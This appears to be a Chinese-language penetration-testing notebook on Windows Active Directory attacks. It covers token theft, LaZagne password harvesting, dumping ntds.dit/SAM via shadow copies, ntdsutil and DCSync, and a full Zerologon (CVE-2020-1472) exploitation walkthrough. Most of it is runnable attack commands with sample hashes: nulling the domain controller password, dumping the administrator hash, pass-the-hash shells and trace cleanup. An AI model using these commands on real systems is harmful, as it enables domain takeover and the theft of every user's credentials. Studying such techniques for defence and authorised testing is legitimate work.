域渗透:卷影拷贝与 CVE-2020-1472

卷影拷贝、凭据提取与 Zerologon 漏洞的实践笔记。

参考

https://0range-x.github.io/2021/11/22/CVE-2020-1472

https://cloud.tencent.com/developer/article/1727748

https://blog.csdn.net/Captain_RB/article/details/120643838

1、token窃取

一、Token的作用

1)令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。

2)令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击。

二、令牌的种类

访问令牌(Access Token):表示访问控制操作主体的系统对象 。

会话令牌(Session Token):是交互会话中唯一的身份标识符。

密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身 份校验的物理设备,例如 U 盾。

Windows 的 AccessToken 有两种类型:

Delegation Token:授权令牌,它支持交互式会话登录 (例如本地用户直接 登录、远程桌面登录访问)

Impresonation Token:模拟令牌,它是非交互的会话 (例如使用 net use 访问共享文件夹)。

注:两种 token 只在系统重启后清除 具有 Delegation token 的用户在注销后,该 Token 将变成 Impersonation,依旧有效。可以这样理解:当前系统中的某个进程或者线程能访问什么样的系统资源,取决于当前令牌的权限。

一开始并不理解为什么非要token 明明目前已经是域管了 这里有个解释我觉得很不错

我们通过exp提权或者永恒之蓝等得到的权限即为System,假如我们利⽤mimikatz和hashdump不能获得 administrator⽤户的密码,那我们只能通过令牌窃取进⾏降权,获得administrator⽤户的shell, 从⽽以 administrator⽤户的身份启动某些服务 ( 某些服务只能通过administrator⽤户启动 )

重要目的就是我们拿到的system权限 system已经是最高的了吧 但是有些服务需要administrator启动 我们还需要administrator的shell 但是我们又拿不到密码 所以通过token降权 这就是一个场景

或者说目标服务器大概率不可能重启 因为token只在重启清除

网上目前我没下载到找个程序 先列一下命令吧 还有其他软件可以替代的

第一种方法 incognito.exe

常用命令:

列举token:incognito.exe list_tokens -u

可以看到因为不是system权限,列举出的token很局限,切换到system权限看下

窃取token: incognito.exe execute -c "SUN\administrator" cmd.exe

incognito.exe execute [options] <token> <command>



第二种方法

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1

原理和功能同incognito类似,能够实际提权和降权

列举token:Invoke-TokenManipulation -Enumerate

提权至system:Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system"

复制进程token:Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500

复制线程token:Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500



第三种方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
开启SYSTEM权限的命令行 用于模拟上到下
PsExec.exe -s -i cmd.exe

# 查看当前token
token::whoami
# 提升权限
token::elevate /domainadmin 	# 提升到域管理员
token::elevate /admin 			# 提升到本地管理员
token::elevate 					# 默认提升到SYSTEM
# 恢复token
token::revert

恢复token
privilege::debug
token::elevate

2、LaZagne.exe

这个非常猛 基本上他不像其他工具获得管理员的密码什么的 他主要是针对某个人物画像来

能获取的密码类型:

  • 浏览器保存的密码
  • WiFi密码记录
  • Windows凭据
  • 邮件客户端
  • 开发工具配置
1
2
3
lazagne.exe all        # 获取所有密码
lazagne.exe browsers   # 只获取浏览器密码
lazagne.exe wifi      # 只获取WiFi密码

3、卷影拷贝(获取域控所有hash)

那什么又是ntds.dit?

Ntds.dit文件是域环境中域控上会有的一个二进制文件,是主要的活动目录数据库,其文件路径为域控的 %SystemRoot%\ntds\ntds.dit,活动目录始终会访问这个文件,所以文件禁止被读取。Ntds.dit包括但不限于有关域用户、组和组成员身份和凭据信息、GPP等信息。它包括域中所有用户的密码哈希值,为了进一步保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。

而在非域环境也就是在工作组环境中,用户的密码等信息存储在SAM文件,想要破解SAM文件与Ntds.dit文件都需要拥有一个System文件。和SAM文件一样,Ntds.dit是默认被Windows系统锁定的。这也是使用mimikatz经常需要导出的文件

plain ntds.dit文件位置: C:\Windows\NTDS\NTDS.dit system文件位置:C:\Windows\System32\config\SYSTEM sam文件位置:C:\Windows\System32\config\SAM

导出该文件的方法也是有多种

mimikatz-dcsync

前提:高权限

Mimikatz有一个功能(dcsync),它可以利用目录复制服务(Directory Replication Service, DRS)从NTDS.DIT文件中提取密码哈希值。

DCSync是mimikatz在2015年添加的一个功能,利用的这个原理,通过Directory Replication Service(DRS) 服务的GetNCChanges 接口模仿一个域控制器向另一个域控制器发起数据同步请求,能够用来导出域内所有用户的hash。

DCSync的本质:

  1. 利用DRS复制协议
  2. 直接请求目标数据
  3. 不涉及NTDS.dit文件复制
1
2
3
4
5
6
mimikatz.exe lsadump::dcsync /domain:test.local /all /csv  		//可以通过dcsync直接获取test域内所有用户hash
mimikatz lsadump::dcsync /domain:test.local /user:admin		//获取单个用户的详细信息
mimikatz lsadump::lsa /inject

lsadump::sam   # 当前系统SAM
lsadump::sam /system:system.hiv /sam:sam.hiv  # 指定文件

vssadmin卷影拷贝

vssadmin是Windows上的一个卷影拷贝服务的命令行管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息,显示已安装的所有卷影拷贝写入程序和提供程序,以及改变卷影拷贝的存储空间的大小等。

适用机器:Windows 10,Windows 8.1,Windows Server 2016,Windows Server 2012 R2,Windows Server 2012,Windows Server 2008 R2,Windows Server 2008

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
vssadmin create shadow /for=C:							//创建c盘卷影拷贝
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit C:\ntds.dit		//在创建的卷影拷贝中将ntds.dit复制到C盘
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM c:\sam.hiv	   //在创建的卷影拷贝中将sam.hiv复制到C盘
同时还需要system.hiv
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.hiv
vssadmin delete shadows /for=c: /quiet

解密ntds.dit
python D:\python3.9\Scripts\secretsdump.py -ntds ntds.dit -system system.hiv LOCAL
解密SAM
python D:\python3.9\Scripts\secretsdump.py -sam sam.hiv -system system.hiv LOCAL
如果报错 大概率要执行
pip install cryptography==41.0.2

需要注意的是 HarddiskVolumeShadowCopy1 数字会变 根据卷影拷贝的路径来写就行了

  • Mimikatz主要获取已登录凭据
  • SAM获取本地账户hash
  • NTDS.dit获取整个域的hash

ntdsutil.exe

Ntdsutil.exe 是一个为 Active Directory 提供管理设施的命令行工具,该工具被默认安装在了域控制器上,可以在域控上直接操作,也可以通过域内机器在域控上远程操作,但是需要管理员权限。使⽤ ntdsutil.exe,可以维护和管理活动⽬录数据 库、控制单个主机操作、创建应⽤程序⽬录分区、删除由未使⽤活动⽬录安装向导(DCPromo.exe)成功降级的 与控制器留下的元数据等。

1
ntdsutil snapshot "activate instance ntds" create quit quit   //首先建立快照,该快照包含Windows中的所有文件,且在复制时不会受到Windows锁定机制的影响

1
2
ntdsutil snapshot "mount {ID}" quit quit	  		//加载刚刚的快照
>ntdsutil snapshot "mount {5d42befe-0029-4f76-b6d9-f87329ce8119}" quit quit

1
2
3
copy C:\$SNAP_202411192306_VOLUMEC$\windows\ntds\ntds.dit c:\ntds.dit
copy C:\$SNAP_202411192306_VOLUMEC$\windows\System32\config\SYSTEM c:\system.hiv
copy C:\$SNAP_202411192306_VOLUMEC$\windows\System32\config\SAM c:\sam.hiv

//将快照中的三个文件拷贝到c盘

//删除刚才创建的快照

1
ntdsutil snapshot "mount {5d42befe-0029-4f76-b6d9-f87329ce8119}" "delete {5d42befe-0029-4f76-b6d9-f87329ce8119}" quit quit

除了利用上面那种操作来获取ntds.dit外,还可以利用Ntdsutil.exe创建媒体安装集(IFM)来用于提取NTDS.dit文件。在使用ntdsutil创建创建媒体安装集(IFM)时,会自动进行生成快照、加载、将ntds.dit、计算机的SAM和SYSTEM文件复制到目标文件夹中等操作,我们可以利用该过程获取NTDS.dit文件,需要管理员权限。

Ntdsutil是本地处理 Active Directory 的命令实用程序,并为DCPromo启用IFM集创建。IFM与DCPromo一起用于“从媒体安装”,因此被升级的服务器不需要通过网络从另一个DC复制域数据。

当创建一个IFM时,VSS快照会被自动拍摄,挂载,NTDS.DIT文件和相关数据被复制到目标文件夹中。

在域控制器中执行如下命令即可:

1
2
3
4
5
6
ntdsutil "activate instance ntds" Ifm "create full C:\ntdsutil" Quit quit		//生成文件
ntdsutil "ac i ntds" "ifm" "create full c:\ntdsutil" q q			//简洁版

直接调用SYSTEM就能解开
secretsdump.py -ntds "Active Directory/ntds.dit" -system registry/SYSTEM LOCAL
secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

ZeroLogon (CVE-2020-1472) 漏洞利用

影响系统版本:该 Win2008 后的所有版本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

利用条件:

1
攻击者只需要定位域控主机名及IP,并且可以访问域控,就可以在无需任何凭据的情况下拿到域管理员的权限,甚至不需要在域内

注意:域控的机器帐户HASH存储在注册表中,系统启动时会将其加载到lsass,当攻击置空域控HASH后,仅AD (NTDS.DIT) 中的密码会更改,而不是注册表或加载到lsass中的密码,域控存储在域中的凭证与本地的注册表/lsass中的凭证不一致时,这样将会导致域控脱域,无法使用Kerberos进行身份验证,因此要尽快恢复。

第1步 验证漏洞存在

account获取方式

方法一:Mimikatz

下载新版本,需要支持ZeroLogon漏洞利用:https://github.com/gentilkiwi/mimikatz

1
mimikatz.exe "lsadump::zerologon /target:192.168.0.111 /account:WIN-RITHFS5KHEN$" exit

方法二:工具 https://github.com/SecuraBV/CVE-2020-1472

1
python zerologon_tester.py WIN-RITHFS5KHEN 192.168.0.111

第2步 置空域控HASH

注意:域控的机器帐户HASH存储在注册表中,系统启动时会将其加载到lsass,当攻击置空域控HASH后,仅AD (NTDS.DIT) 中的密码会更改,而不是注册表或加载到lsass中的密码,这样将会导致域控脱域,无法使用Kerberos进行身份验证,因此要尽快恢复。

方法一:Mimikatz

1
mimikatz.exe "lsadump::zerologon /target:192.168.0.110 /account:WINDOWSSERVERAD$ /exploit" exit

方法二:工具 https://github.com/risksense/zerologon

1
python3 set_empty_pw.py WINDOWSSERVERAD 192.168.0.110

方法三:工具 https://github.com/dirkjanm/CVE-2020-1472

1
python3 cve-2020-1472-exploit.py WINDOWSSERVERAD 192.168.0.110

第3步 获取域管HASH

方法一:Mimikatz

1
lsadump::dcsync /domain:new.local /dc:WIN-RITHFS5KHEN /user:administrator /authuser:WIN-RITHFS5KHEN$ /authdomain:main /authpassword:"" /authntlm

运行结果如下所示,获取域管 MAIN\Administrator 的HASH为 2b2ddd54e1f78fab85e7c662f672f30e

方法二:Impacket

Impacket工具包地址:https://github.com/SecureAuthCorp/impacket,利用其中的secretsdump.py工具获取域管HASH:

1
2
3
4
5
6
# 31d6cfe0d16ae931b73c59d7e0c089c0是空值的HASH
python secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 MAIN/[email protected]
OR
python3 secretsdump.py MAIN/[email protected] -just-dc -no-pass

python3 /usr/share/doc/python3-impacket/examples/secretsdump.py 'secura.yzx/[email protected]' -just-dc -no-pass

运行结果如下所示,获取域管 MAIN\Administrator 的HASH为 2b2ddd54e1f78fab85e7c662f672f30e,注意此时NTDS.DIT中域控WIN-RITHFS5KHEN$的HASH已是空值 31d6cfe0d16ae931b73c59d7e0c089c0

2b2ddd54e1f78fab85e7c662f672f30e,注意此时NTDS.DIT中域控WIN-RITHFS5KHEN$的HASH已是空值 31d6cfe0d16ae931b73c59d7e0c089c0

第4步 恢复域控HASH

(这一步可以不用 但是留下了痕迹 不恢复可能还会导致域控司机 所以我们要进行恢复)

Mimikatz恢复域控HASH是将NTDS.DIT中的凭证以及注册表/lsass中的凭证同时修改为 (Waza1234/Waza1234/Waza1234),并非是原本值,虽然不影响域运行,但是还是留下了痕迹。

推荐方法是恢复成原始的HASH,首先要获取注册表信息中域控原始HASH,可以利用Impacket包中的wmiexec.py、psexec.py工具获取,以wmiexec.py为例,命令中进行了HASH传递,凭证是刚刚获取的域管HASH:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# PTH getshell
python wmiexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e MAIN/[email protected]

# 获取注册表转储文件,默认存在目标机C:\目录下
# 目标机中文系统会提示解码错误,不影响使用
# /y:强制覆盖已存在文件,避免目标机C:\目录下存在同名文件,命令会询问是否覆盖,半交互环境程序会卡住
C:\>reg save HKLM\SYSTEM system.hive /y
C:\>reg save HKLM\SAM sam.hive /y
C:\>reg save HKLM\SECURITY security.hive /y

# 将转储文件,下载到本地
C:\>lget system.hive
C:\>lget sam.hive
C:\>lget security.hive

# 删除目标机上的转储文件
C:\>del /f system.hive
C:\>del /f sam.hive
C:\>del /f security.hive

C:\>exit

# 通过注册表转储导出HASH
python secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL

运行结果如下所示,域控密钥 (HEX) 为: :71e7160142ee4406478d8c3a67566adc1ed91dd97d26c87f4ac97a4af081dadde701370b3d5fdc785a409f6f03ed9d1147163ec8e28db1c12c6a7a39fc036ec5f5db54033c653bed4c888de0ca32fe75fdcc0965daf24049c472d015963b842b982f9807ee45b9eabb94002d69ff0d8e519e9dd3112c248b4db901de95513e682ef142fd15bc97d63a0bf7b2414ad2851a00bf0f9cc356b51f25ccc4fd0f307b609278ef60c4986782b9a46cac7a6f3262eb521c9e0c7bb20dd6218e035c74b04242dcca13c778cbfe53e68901af6c27d11ac09a376a2bf456efd9d3081f95999d3b79818c754f61455c8eacdf5c9e82

NTLM HASH为: aad3b435b51404eeaad3b435b51404ee:21b74da052b94026deb180cf075a5a93,注意这里与上一步抓出来的空HASH不同,因为上一步中获取的是NTDS.DIT中域控HASH记录,而这一步获取的是注册表中HASH记录。

然后用工具恢复,将注册表中HASH记录同步到NTDS.DIT:

方法一:工具 https://github.com/risksense/zerologon

这个项目说得很清楚了 按照步骤来就行

利用NT HASH恢复:

1
python reinstall_original_pw.py WIN-RITHFS5KHEN 192.168.0.111 21b74da052b94026deb180cf075a5a93

方法二:工具 https://github.com/dirkjanm/CVE-2020-1472

利用密钥 (HEX) 恢复:

1
python3 restorepassword.py main/dc01@dc01 -target-ip 192.168.43.100 -hexpass 40cb3f6931f77bec7856f848751e135515d868f80b3f7f618472dfa9e83a6fac7a6c7069b7626371f7812607d47b19df6506d1b28d1e8640b06882116feae2fee977bcb6f55db375dc6181b0e4a656ab22ef183f904cbe66d4cfbfd3c13fa5c96933b0ff8b8c07a97a0b38c3c7af4c948578caa5e2842eedc63e94c47c1624cd4b952bc3cf6871cdf8367225522d71e2d754ea642550087a8a6ef91f2ab2b32d3a2f1beb0735c06a72e0e02ff89e5645edfbfb7a190c667c1356a893b831051f4e5ba2d2bea86ec59613660d66b06eb57482ec466ca21d1324b7c83d6f68778e5c66ac7e96d5ec8c6032655a5b904099

方法三:Powershell

首先利用远程执行命令工具 (wmiexec、psexec、smbexec、atexec等) 获取域控shell,然后利用powershell命令重置主机HASH,注意这种方法并不是恢复原HASH,而是将NTDS.DIT中的凭证以及注册表/lsass中的凭证重置 (随机数):

1
2
3
python3 wmiexec.py -hashes :cf83cd7efde13e0ce754874aaa979a74 MAIN/[email protected]

C:\>powershell -c Reset-ComputerMachinePassword

第5步 验证是否恢复域控hash

1
python secretsdump.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e domain/[email protected]